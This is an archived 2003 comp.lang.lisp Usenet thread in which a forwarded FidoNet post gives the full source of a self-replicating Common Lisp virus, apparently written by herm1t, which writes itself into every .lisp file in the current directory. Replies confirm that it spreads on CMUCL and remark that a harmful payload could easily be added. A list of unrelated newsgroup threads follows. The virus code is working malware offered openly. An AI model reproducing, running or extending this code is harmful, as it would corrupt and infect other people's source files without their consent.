[Fwd] Just for fun

  • Permalink
  • submit to reddit
  • Email
  • Follow


-------------------- Start of forwarded message --------------------
Newsgroups: fido7.xsu.hacker
Distribution: fido7
X-Comment-To: All
From: "Ilya V. Vasilyev" (2:5020/287)
Date: Thu, 26 Jun 2003 10:27:28 +0600
Subject: Just for fun
Message-ID: <1056626881@f287.n5020.z2.ftn>
Organization: Hackers' POWER BBS

=============================================================================
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To   : All
* Subj : Just for fun
=============================================================================
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus

;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
  (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
  (when (setq vic (car ls))
    (let ((p nil)) (with-open-file (i vic :direction :input)
      (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
        (loop (unless (setq line (read-line i nil nil)) (return))
          (setq p (append p (list line))))))
      (when p (with-open-file (o vic :direction :output)
        (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 (writel p o))))
    (infect (cdr ls))))
)(eval virus)(infect)

--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215

-+- golded 3.0.1
 + Origin: Feed my fear (2:465/215)
=============================================================================

-------------------- End of forwarded message --------------------

-- 
Ivan Boldyrev

                                                        ���� ����� ����!
0
Reply nospam5292 (249) 6/27/2003 6:32:13 AM

See related articles to this posting


In article <u65mrus6p.fsf@dtpq.com>,
Christopher C. Stacy <cstacy@dtpq.com> wrote:
>This program is a lot of gibberish and does not do anything at all:
>most of it is never even executed.

Sure it is.

As written, it doesn't do anything other than append itself to all the
*.lisp files in the current directory; if any of them are later loaded (or
compiled and the resulting binary loaded) they'll do the same.  It's a
simple virus propagation wrapper; it's a simple matter to modify it to do
something (harmful or not) in addition to propagating itself.

-- 
Barry Margolin, barry.margolin@level3.com
Level(3), Woburn, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.
0
Reply barry.margolin (228) 6/27/2003 9:42:57 PM

cstacy@dtpq.com (Christopher C. Stacy) writes:

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

It spreads nicely on CMUCL, albeit with warnings about undefined
variables.  Didn't you notice the EVAL call near the end?

The (second (read i)) call can have consequences not expected by
the author.
0
Reply kon (429) 6/27/2003 10:07:21 PM

>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:

 Barry> In article <u65mrus6p.fsf@dtpq.com>,
 Barry> Christopher C. Stacy <cstacy@dtpq.com> wrote:
 >> This program is a lot of gibberish and does not do anything at all:
 >> most of it is never even executed.

 Barry> Sure it is.

I think I made a typographical error when pasting it into an
editor buffer and reformatting it so that I could actually read it.
My version of it had it setting the variable VIRUS to the source code
of a function called INFECT that took one optional arg but had no body.



0
Reply cstacy (118) 6/28/2003 3:15:21 AM

On 8423 day of my life Christopher C. Stacy wrote:
>
> I would be circumspect in writing programs called "Virus" and posting
> them on the net in so-called "hacker" newsgroups,

This is NG of "hackers" in sense of Eric Raymond.

> even if it is supposed to be (I assume) some kind of joke.  It looks
> like you are not the original author of the "virus" program, but can
> you understand what you have posted?

I am smart enough.  May be, I am even Turing-complete :)))

> It's as if someone has cut-and-pasted fragments of Lisp code from
> other programs, without understanding what they were copying. 

I do understand code before copying.

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

Be more attentive: the virus is in your brain now :)

-- 
Ivan Boldyrev

                                Onions has layers.  Unix has layers too.
0
Reply nospam5292 (249) 6/28/2003 8:06:53 PM

On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote:
> Be more attentive: the virus is in your brain now :)

Actually, he's right even though he didn't mean it.  I'll give you a
hint: the program invokes undefined behavior.

-- 
; Matthew Danish <mdanish@andrew.cmu.edu>
; OpenPGP public key: C24B6010 on keyring.debian.org
; Signed or encrypted mail welcome.
; "There is no dark side of the moon really; matter of fact, it's all dark."
0
Reply mdanish (271) 6/30/2003 2:13:22 AM
comp.lang.lisp 15469 articles. 5 followers. Post

5 Replies
421 Views

Similar Articles

[PageSpeed] 54


  • Permalink
  • submit to reddit
  • Email
  • Follow


Reply:

Similar Artilces:

Just Fun
http://kg-azfari.myminicity.com/tra Look and see ...

Just For the Fun of It
I tried doing an install of OpenVMS 7.3 again - just to clear my mind up on what was involved. Well, I've proved at least one thing - even _I_ can install VMS, even when for some reason, I'm all thumbs with two left feet. :-) make that sys$all_thumbs: 2left_feet Now comes the difficult thing - cooling down enough to remember how I used edit last time I did this. ;) I should thank DEC for such a challenging experience! ;^) What's life without a challenge? Wesley Parish -- "Good, late in to more rewarding well."  "Well, you tonight. ...

Just for fun?
Hi all An interesting question: Does anyone know if the PSP (Playstation Portable) would work under USB with RISC OS? I have a PSP, but I cannot check the USB connectivity since I don't have USB for my RISC PC, and am not likely to get it, since it is just too expensive... And I know you can use the memory stick of the PSP with a card reader, but connecting the PSP itself to a RISC PC or Iyonix is just soo much cooler! Cheers! Samuel -- Samuel Kock http://skock.blogspot.com In article <dtkjfm$jhq$1@ctb-nnrp2.saix.net>, Samuel Kock <samuelk@absamail.xhosa> wrote: >...

Just for fun
Hi, Recently I've been playing on C programming avoiding libc and also assembly. Well, I guess some of us like to mess up with things like: #include <linux/types.h> #include <linux/unistd.h> int errno; _syscall1(int, exit, int, status) _syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count) void _start() { write(1, "Hello there\n", 12); exit(0); } And then compiling with "-nostdlib". In case argc, argv and/or envp are needed we have to get it from the stack (AFAIK). Thats the work for /usr/lib/crt1.o in glibc. Of course, we al...

Just for fun.
What is matlab's favorite vegetable? "Paul Alexander" <psalexander@alaska.edu> wrote in message <ieougi$j3v$1@fred.mathworks.com>... > What is matlab's favorite vegetable? doc why "Paul Alexander" <psalexander@alaska.edu> wrote in message <ieougi$j3v$1@fred.mathworks.com>... > What is matlab's favorite vegetable? Celery? (cell-array) Dear Paul, > What is matlab's favorite vegetable? Ok, we solve this typical homework question for you - as an exception. 1. Have you read the Getting Started section of th...

Just for fun
Hi, Recently I've been playing on C programming avoiding libc and also assembly. Well, I guess some of us like to mess up with things like: #include <linux/types.h> #include <linux/unistd.h> int errno; _syscall1(int, exit, int, status) _syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count) void _start() { write(1, "Hello there\n", 12); exit(0); } And then compiling with "-nostdlib". In case argc, argv and/or envp are needed we have to get it from the stack (AFAIK). Thats the work for /usr/lib/crt1.o in glibc. Of course, we al...

Just for fun...
I posted this to another forum as part of a challenge... thought to post it here just for fun. +5 pts if you know what algorithm is being used here... Anyone care to golf? Note that the breakdown of the string TXT was just to prevent it from line-wrapping... TXT = ".,~,,;\ntee,yeeewgeendhoeheddrhdfteeenn" + "\n\n\n\n\nr cl u enneiii ddd hhhlhhhh" + "elllphsvHfo ousctTTttTttgdfddwl tddd " + "uaooAat doopmp cmsse o i ari t isa" + "joo e\n" dat = [""] * TXT.size TXT.size.times do dat = TXT.split(...

just for fun
hello everone,my name is phelim. ...

Just for fun...
Here is a piece of document from a DICOM conformance statement from a well known big company (*). I guess we need a CP which explains that VR=UN in a CS document is of no use :) -Mathieu (*) B.1 3D IMAGE MEDIA PRIVATE TAG DESCRIPTION The private tags listed in this section are intended for internal use within the iU22 enabling continued analysis of iU22 3D datasets imported from media. Tag VR Value (2001,00FF) LO Philips Imaging DD 001 (2001,FF6E) UN Series (200D,00FE) LO Philips US Imaging DD 017 (200D,00FD) LO ...

Just for fun
While I am compileing kernel -2.6.15.2 and fixing errrors in ~src/linux-2.6.15.2/drivers/scsi/ipr.c , I was watching xosview, then I wondered how I could grap the (ever changing) X window of xosview and embed it in my site. So I one see the OS working from everywhere. When you go to any site thse days they have live animations..... commercials. Is there already some application to dynamically show an X window via apache? Or if not what would be the best way (preferably not java...) maybe php? How do these commercials do it? In article <ds0iim$ut4$1@news.datemas.de>, Ja...

OT: Just for fun
http://www.facebook.com/home.php?#/photo.php?pid=41453&id=100000537905146 What a blast. 2 more months and it's back to the Beav! On Mon, 14 Dec 2009 20:50:05 -0500, Tommy the Troll <tom_elamatearthlinkdotnet> wrote: >http://www.facebook.com/home.php?#/photo.php?pid=41453&id=100000537905146 > >What a blast. 2 more months and it's back to the Beav! Crap, forgot that you need a Facebook account to see the album On Dec 15, 9:17=A0am, Tommy the Troll <tom_elamatearthlinkdotnet> wrote: > On Mon, 14 Dec 2009 20:50:05 -0500, Tommy the Troll &...

Just for fun you understand...
Visit www.googlefight.com and type in Howard J. Rogers as one contender. And Don Burleson as another. Interesting! Regards HJR -- -------------------------------------------- Oracle Insights: www.dizwell.com -------------------------------------------- Bugger. I've just tried Howard J. Rogers v. Jonathan Lewis. Don't try that one. :-( HJR -- -------------------------------------------- Oracle Insights: www.dizwell.com -------------------------------------------- "Howard J. Rogers" <hjr@dizwell.com> wrote in message news:402d3d17$0$19707$afc38c87@news.optusnet.c...

flowto (Just for fun)
/**** * flowto.c * 2011, Shao Miller * Just for fun. :) */ #if 0 /* Definition */ "flowto": A function-like macro resembling a jump-statement. Syntax 1 flowto ( identifier ) statement Constraints 2 The identifier in a flowto statement shall name a label located somewhere in the enclosing function. A flowto statement shall not jump from outside the scope of an identifier having a variably modified type to inside the scope of that identifier. Semantics 3 A flowto statement causes a jump to the stat...

Just for FUN
http://www.novell.com/linux/windowstolinux/publicservice/ <-- NT support ends and what happens... ("KT" <kt@yahoo.com>) scribbled: > http://www.novell.com/linux/windowstolinux/publicservice/ <-- NT > support ends and what happens... .... who cares -- << http://michaeljtobler.homelinux.com () >> This Fortue Examined By INSPECTOR NO. 2-14 KT wrote: > http://www.novell.com/linux/windowstolinux/publicservice/ <-- NT support > ends and what happens... Priceless! -- Ruurd ..o. ...o ooo KT wrote: > http://www.novell.com...

On Topic, but Just For Fun
All, This is for real. A 16-bit A/D manufacturer showed a spectral plot to indicate the performance of their device. The spectrum was from digitizing a single tone, plotted Magnitude(dB) vs frequency (Hz). There was a fairly flat noise floor (grass if you prefer) from 0 to Fs/2. There was a single peak in the spectrum at the frequency expected. The peak was 96 dB above the noise floor. What can you say about the device performance? Dirk Dirk Bell DSP Consultant "dbell" <bellda2005@cox.net> wrote in news:1158782000.048968.277230 @k70g2000cwa.googlegroups.com: > All...

Just for fun #2
Try this: p=plot(findgen(10)) help, /Heap obj_destroy, p help, /Heap Yikes! This makes me fear New Graphics. On Wed, 7 Sep 2011 12:54:23 -0700 (PDT), Bob <bobnnamtrop@gmail.com> wrote: >Yikes! This makes me fear New Graphics. Exactly! Even closing the window doesn't clean up everything: IDL> .RESET_SESSION IDL> help,/heap Heap Variables: # Pointer: 0 # Object : 0 IDL> p=plot(findgen(10)) IDL> help,/heap Heap Variables: # Pointer: 5031 # Object : 4425 IDL> obj_destroy,p ; Window is still there IDL> help,/heap Heap Variables: # Pointe...

Just good fun...
<http://parislemon.com/post/48649786408/perfect-lots-of-castration-via-aj baran> :-) (If you're newsreader breaks the link, too damn bad, trolls). -- Alan Baker Vancouver, British Columbia "If you raise the ceiling four feet, move the fireplace from that wall to that wall, you'll still only get the full stereophonic effect if you sit in the bottom of that cupboard." ...

FWD: just released.. to
This is a multi-part message in MIME format. --2D.946_.F7AA Content-Type: text/html Content-Transfer-Encoding: quoted-printable The Worlds Smallest Digital Camera Has Arrived !!! Webcam + Digital Still Camera + Digital Video Camera Includes: - SmartMini Cam - 1 AAA battery...yes, battery included! - CD-ROM with drivers & image editing software - USB connecting cable - Keychain for instant portability! While Quantities Last !! ONLY $39.95 !!!! ($199 value) Click Here: http://www.car-doll.com/cam4 remove http://www.car-doll...

[OT] Just for fun
okay, this isn't Linux-related, it's just for a laugh on this rather breezy Sunday afternoon. What's the oddest thing anyone here has ever done with a portable media player they own? Very late last night I was out walking along a local riverside footpath, which is completely unlit, the only illumination coming from streetlights across the river, and the moon when present. I noticed some dark blobs on the pathway, which seemed to be moving. Using the light provided by my Archos 404 player's screen, I discovered they were small frogs, obviously off on some habitat migration. Ne...

Just for fun :o)
I went to http://montana.informatics.indiana.edu/cgi-bin/fsi/fsi.cgi -- to detect whether text was written by a human or machine generated. I grabbed the first page out of the Informix roadmap here: ftp://ftp.software.ibm.com/software/data/informix/pubs/whitepapers/informix-roadmap080204.pdf Result? This text had been classified as INAUTHENTIC with a 32.7% chance of being authentic text :o) -- Bye now, Obnoxio Information within this post contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the S E C Act...

Just for fun, making 100
Not precisely the goal of this group, but I can't resist the idea. It was so much fun looking at professional engineers scratching their heads for minutes and hours trying to solve the following simple problem. I looks like a homework but it is not. How can one arrive at a result of 100, using the five numbers 1 7 7 7 7 only once each and basic arithmetic operations (+ - * / ). Actually very simple believe me, and non engineer minded people are the faster to the solution, which is very interesting in how much thinking is distorted by one's personal experience and scholarship. Have ...

Just for fun: symbolic chmod
I think Ruby's chmod should operate symbolically as the command line version does. To that end, I've been playing around. (Yes, I do have a TV, but nothing is on.) Here's some code. It only implements rwx on the righthand side so far. I test it by calling the OS's chmod, so your mileage may vary. In fact, I'm unsure why the last test case is failing. (I added these more or less randomly.) But given the ugly nature of test12, I'm not really concerned much. If you feel like it: Add, refactor, critique. It's a small thing, but I'd like to see this functionali...

VISTA just for fun [OT]
I couldn't help thinking that there should be some pritty nice acroynms that can be made from VISTA Any takers: Vapour Into, Software, Taxation, Applied Jeremy Fisher wrote: > I couldn't help thinking that there should be some pritty nice acroynms > that can be made from VISTA > > Any takers: > > Vapour Into, Software, Taxation, Applied There are several about; Vastly Inferior System To Apple Viruses, Infections, Spyware, Trojans and Adware etc "Jeremy Fisher" <freya@linux.site> stated in post pan.2005.07.27.17.47.31.561225@linux.site on ...

Defender of the Crown, just for fun
I know this has nothing to do with PS/2's per se, but it *does* run pretty well on a model 80.... ;-) I listed it on eBay, if anyone's interested. I will ship free to members of the NG. John, cleaner-outer or dusty closets On Sun, 26 Oct 2003 17:35:06 -0600 John wrote: > I know this has nothing to do with PS/2's per se, but it *does* run > pretty well on a model 80.... ;-) And this is....? No url to be found ;) -- Hitting reply will get you devnulled. If you'd like an answer, use: shinguz < a t > phreaker < d o t > net...